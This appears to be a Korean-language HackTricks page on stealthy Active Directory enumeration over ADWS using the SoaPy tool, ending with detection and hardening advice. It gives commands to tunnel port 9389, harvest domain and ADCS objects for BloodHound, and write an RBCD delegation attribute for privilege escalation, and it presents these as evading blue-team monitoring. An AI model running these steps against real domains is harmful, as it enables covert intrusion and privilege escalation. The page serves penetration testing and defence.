6.3 KiB
Raw Blame History

Active Directory Web Services (ADWS) Enumeration & Stealth Collection

{{#include ../../banners/hacktricks-training.md}}

ADWS란 무엇인가?

Active Directory Web Services (ADWS)는 Windows Server 2008 R2 이후 모든 도메인 컨트롤러에서 기본적으로 활성화되어 있으며 TCP 9389에서 수신 대기합니다. 이름과는 달리, HTTP는 포함되지 않습니다. 대신, 이 서비스는 독점적인 .NET 프레이밍 프로토콜 스택을 통해 LDAP 스타일의 데이터를 노출합니다:

  • MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF

트래픽이 이러한 이진 SOAP 프레임 안에 캡슐화되어 있고 일반적이지 않은 포트를 통해 전송되기 때문에, ADWS를 통한 열거는 고전적인 LDAP/389 및 636 트래픽보다 검사, 필터링 또는 서명될 가능성이 훨씬 낮습니다. 운영자에게는 다음과 같은 의미가 있습니다:

  • 더 은밀한 정찰 블루 팀은 종종 LDAP 쿼리에 집중합니다.
  • SOCKS 프록시를 통해 9389/TCP를 터널링하여 **비 Windows 호스트 (Linux, macOS)**에서 수집할 수 있는 자유.
  • LDAP를 통해 얻을 수 있는 동일한 데이터 (사용자, 그룹, ACL, 스키마 등)와 쓰기를 수행할 수 있는 능력 (예: RBCD를 위한 msDs-AllowedToActOnBehalfOfOtherIdentity).

참고: ADWS는 많은 RSAT GUI/PowerShell 도구에서도 사용되므로 트래픽이 합법적인 관리 활동과 혼합될 수 있습니다.

SoaPy 네이티브 Python 클라이언트

SoaPy순수 Python으로 ADWS 프로토콜 스택을 완전히 재구현한 것입니다. 이는 NBFX/NBFSE/NNS/NMF 프레임을 바이트 단위로 생성하여 .NET 런타임에 손대지 않고 Unix 유사 시스템에서 수집할 수 있게 합니다.

주요 기능

  • SOCKS를 통한 프록시 지원 (C2 임플란트에서 유용).
  • LDAP -q '(objectClass=user)'와 동일한 세밀한 검색 필터.
  • 선택적 쓰기 작업 ( --set / --delete ).
  • BloodHound에 직접 수집하기 위한 BOFHound 출력 모드.
  • 사람이 읽기 쉬운 경우를 위해 타임스탬프 / userAccountControl을 예쁘게 만드는 --parse 플래그.

설치 (운영자 호스트)

python3 -m pip install soapy-adws   # or git clone && pip install -r requirements.txt

Stealth AD Collection Workflow

다음 워크플로우는 ADWS를 통해 도메인 및 ADCS 객체를 열거하고, 이를 BloodHound JSON으로 변환한 후, 인증서 기반 공격 경로를 탐색하는 방법을 보여줍니다 모두 Linux에서 수행됩니다:

  1. 대상 네트워크에서 귀하의 박스로 9389/TCP 터널링 (예: Chisel, Meterpreter, SSH 동적 포트 포워드 등을 통해). export HTTPS_PROXY=socks5://127.0.0.1:1080을 내보내거나 SoaPy의 --proxyHost/--proxyPort를 사용하십시오.

  2. 루트 도메인 객체 수집:

soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
  1. Configuration NC에서 ADCS 관련 객체 수집:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
  1. BloodHound로 변환:
bofhound -i data --zip   # produces BloodHound.zip
  1. ZIP 파일을 BloodHound GUI에 업로드하고 MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c와 같은 cypher 쿼리를 실행하여 인증서 상승 경로(ESC1, ESC8 등)를 드러냅니다.

msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD) 작성

soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'

s4u2proxy/Rubeus /getticket를 결합하여 전체 리소스 기반 제약 위임 체인을 만듭니다.

탐지 및 강화

상세한 ADDS 로깅

도메인 컨트롤러에서 ADWS(및 LDAP)에서 발생하는 비용이 많이 드는 / 비효율적인 검색을 표면화하기 위해 다음 레지스트리 키를 활성화합니다:

New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD

이벤트는 Directory-Service 아래에 전체 LDAP 필터와 함께 나타나며, 쿼리가 ADWS를 통해 도착했을 때도 마찬가지입니다.

SACL 카나리 객체

  1. 더미 객체(예: 비활성 사용자 CanaryUser)를 생성합니다.
  2. Everyone 주체에 대한 Audit ACE를 추가하고 ReadProperty에서 감사합니다.
  3. 공격자가 (servicePrincipalName=*), (objectClass=user) 등을 수행할 때마다 DC는 실제 사용자 SID를 포함하는 Event 4662를 발생시킵니다. 이는 요청이 프록시되거나 ADWS에서 시작되었을 때도 마찬가지입니다.

Elastic 사전 구축 규칙 예:

(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"

Tooling Summary

Purpose Tool Notes
ADWS enumeration SoaPy Python, SOCKS, read/write
BloodHound ingest BOFHound SoaPy/ldapsearch 로그 변환
Cert compromise Certipy 동일한 SOCKS를 통해 프록시 가능

References

{{#include ../../banners/hacktricks-training.md}}